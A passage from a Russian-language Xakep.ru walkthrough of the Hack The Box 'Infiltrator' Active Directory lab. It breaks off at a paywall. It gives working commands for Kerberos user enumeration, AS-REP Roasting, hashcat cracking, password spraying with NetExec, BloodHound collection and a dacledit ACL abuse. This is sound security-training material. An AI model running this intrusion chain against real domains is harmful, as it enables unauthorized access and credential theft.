Содержание статьи
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.31 infiltrator.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 3389 — служба удаленного рабочего стола;
- 5985 — служба удаленного управления WinRM.
Добавим в /
еще и полное имя машины, а затем начнем разведку с изучения сайта.
10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01

Точка входа
На сайте находим список сотрудников. Выписываем их в отдельный файл.

С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.
import sysif len(sys.argv)==1: print("Usage: " + sys.argv[0] + " <usernames.txt>") sys.exit(1)names = open(sys.argv[1],"r").read().strip().split('\n')list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)
python3 getusers.py team.txt > pos_users.txt
Теперь можно использовать инструмент Kerbrute для определения учетных записей, которые реально существуют в домене. Дело в том, что Kerberos возвращает разные коды ошибок для существующей и несуществующей учетных записей.
kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt

Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.
GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass

Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.
hashcat hash.txt rockyou.txt

nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'

Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users

В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.
nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success

На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION
, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.
nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success

Ошибка сменилась на KRB_AP_ERR_SKEW
, а значит, нам нужно синхронизировать время на локальной машине с сервером.
sudo timedatectl set-ntp falsesudo ntpdate -s 10.10.11.31
Точка опоры
У нас есть несколько учеток, пришло время собрать базу данных BloodHound. Для сбора данных с использованием инструментария под Linux нам нужен рабочий DNS-сервер, однако иногда до него можно не достучаться. Поэтому мы развернем свой при помощи скрипта DNSChef.
Справка: BloodHound
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Первым делом нам нужно создать конфиг infiltrator.
, в котором должны быть стандартные для любого домена записи DNS.
[A]
*.infiltrator.htb=10.10.11.31
[SRV]
_ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb
_kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb
Затем отключаем системный резолвер и запускаем свой DNS-сервер.
sudo systemctl stop systemd-resolved
python3 dnschef.py --file ./infiltrator.txt

Затем используем скрипт bloodhound-ce для сбора данных BloodHound. После завершения работы скрипта не забываем отключить DNSChef и снова активировать systemd-resolved
.
python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm
sudo systemctl start systemd-resolved

Строим граф от пользователя D.
.

Пользователь D.
имеет право GenericAll на подразделение MARKETING
, где состоит пользователь E.
. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.
полные права на всех членов MARKETING
.
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31

Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее